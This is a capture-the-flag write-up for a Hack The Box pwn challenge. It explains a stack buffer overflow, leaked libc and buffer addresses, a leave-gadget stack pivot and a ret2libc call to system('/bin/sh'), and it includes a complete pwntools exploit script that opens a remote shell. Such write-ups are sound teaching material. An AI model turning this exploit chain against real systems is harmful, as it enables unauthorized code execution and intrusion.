You’re being interrogated in the enemy’s headquarters. Fake it and get out of there alive, without telling them anything!

Category: pwn

Solver: t0b1, Pandoron

Flag: HTB{m0ms_sp4gh3tt1_1s_f4k3!}

Writeup

The first thing we do is running the checksec tool to get any clues where this challenge might be heading. It outputs the following.

[*] '/home/user/htb-unictf-2020/finals/pwn/reality_check/reality_check'
Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

We extract the following information:

  • There is no stack canary. Thus we most likely can make use of a buffer overflow.
  • There is no position independent execution. This makes it easier for us, as we can just use the addresses from Ghidra and jump around in the binary.
  • It is an i386-32-little binary. As it is 32bit, it makes pwning a little easier. The 32bit calling convention allows us to pass the parameters of function we want to call using the stack.

Now we open the binary in Ghidra and look at the code. The main function is straightforward. It outputs some text, reads in a number with scanf('%d', &local_14) and executes one of the functions depending on our option.

undefined4 main(void)
{
  int local_14;
  undefined *local_10;
  local_10 = &stack0x00000004;
  setup();
  local_14 = 0;
  puts(
      "You are under interrogation!\nIf you tell them the truth, they are going to destroy theworld!\nMake your choice: "
      );
  printf(&DAT_0804a1e9);
  __isoc99_scanf(&str_%d,&local_14);
  if (local_14 == 1) {
    fake_reality();
  }
  else {
    reality();
  }
  puts("Snap back to reality, oh there goes gravity!");
  return 0;
}

If we input 1 we get to the fake_reality function. It is another small function. It has a 54 byte buffer, generously outputs its address, and reads 70 bytes into it. Here we have the buffer overflow we talked about before. We can overwrite the return address of this function.

void fake_reality(void)
{
  undefined local_3e [54];
  printf("They seem to like your co-operation, here is another reward: [%p]\n",local_3e);
  printf("They are ready to hear what you have to say..\n> ");
  read(0,local_3e,0x46);
  return;
}

The reality function is straightforward as well. It outputs the address of the printf function first. Then it reads a number as done in the main function and executes fake_reality if we input 1.

void reality(void)
{
  int local_10 [2];	  
  puts("They seem to find you interesting..");
  printf("The enemy is giving you this reward in the hopes of you telling them more.. [%p]\n",printf
        );
  puts("Do you have anything else to say before they throw you to jail?");
  printf("1. Wait, I have more to say!\n2. No, I am done talking!\n> ");
  __isoc99_scanf(&str_%d,local_10);
  if (local_10[0] == 1) {
    fake_reality();
  }
  return;
}

If we now run the program, inputting 0 in the first dialog and 0 in the second dialog, we can get the address of printf and the address of the buffer we can write into as well. With that at hand, and the possibility to overwrite the return address in the third dialog, we have a classic buffer overflow with a return to libc.

However, we can only overwrite only 4 bytes after the return address. If we could write 4 bytes further, we could just overwrite the return address with the address of the system function place some junk 4 bytes afterwards and finally the address of the /bin/sh string. This would already give us a shell, as the functions on 32bit expect their first argument at the second position in the stack.

Nevertheless, PIE is disabled, so we can find gadgets in the binary and do a little rop that will help us in reaching the system function eventually.

We are also given the version of the libc so we can calculate the offset from printf to the system function and /bin/sh and use them as well.

We will set up the stack as follows.

0x90
system
0x90
/bin/sh address
junk
buffer address      # here is the old ebp
leave gadget        # here is the old return address

We are using a leave gadget here. The leave instruction does the following.

movl %ebp, %esp      ; restore stack pointer
popl %ebp            ; restore base pointer

Furthermore, before returning to the leave gadget, another leave (the one of the fake_reality function) has already been executed. This would load our buffer address with which we have overwritten the old stack base pointer, in the base pointer register.

The second leave instruction will then load our buffer address as the stack pointer. With that we have complete control over what is on the stack at that point. As shown before, the leave instruction will also pop of the stack into the ebp register. Thus we put some junk on the stack before the address of system. The gadget will then return to system which expects its argument as the second on the stack which is why we put some junk between the address of system and /bin/sh in our setup.

All of this is accomplished by the following Python script. Executing it and running cat flag.txt afterwards yields the flag.

flag

Solver

#!/usr/bin/python3
from pwn import *

ip = 'docker.hackthebox.eu' # change this
port = 30937 # change this
fname = './reality_check' # change this
#context.log_level = 'error'

LOCAL = False


if LOCAL:
    r = process(fname)
    _libc = '/usr/lib/i386-linux-gnu/libc-2.31.so'
    libc = ELF(_libc)
else:
    r = remote(ip, port)
    _libc = './libc.so.6' # change this
    libc = ELF(_libc)

e = ELF(fname, checksec = False)
rop = ROP(e)

rl = lambda : r.recvline()
ru = lambda x : r.recvuntil(x)
inter = lambda : r.interactive()
sla = lambda x,y : r.sendlineafter(x,y)
    
def ret2libc(junk, base, buf_addr):    
    system = base + libc.symbols['system']
    binsh = base + next(libc.search(b'/bin/sh\x00'))
    leave = rop.find_gadget(['leave'])[0]

    payload = p32(0x90)
    payload += p32(system)
    payload += p32(0x90)
    payload += p32(binsh)
    payload += b'\x90'*(len(junk) - len(payload))
    payload += p32(buf_addr)
    payload += p32(leave)
    sla('>', payload)
    inter()

def pwn():
    junk = b'A' * 58 # use 62 for old version
    
    sla('>', '2')
    ru('more.. [')
    base = int(ru(']')[:-1], 16) - libc.symbols['printf']
    
    sla('>', '1')
    ru('reward: [')
    buf_addr = int(ru(']')[:-1], 16)

    log.info('Libc base: 0x{:x}'.format(base))
    log.info('Buf addr:  0x{:x}'.format(buf_addr))

    # Get shell with ret2libc technique
    ret2libc(junk, base, buf_addr)

if __name__ == '__main__':
    pwn()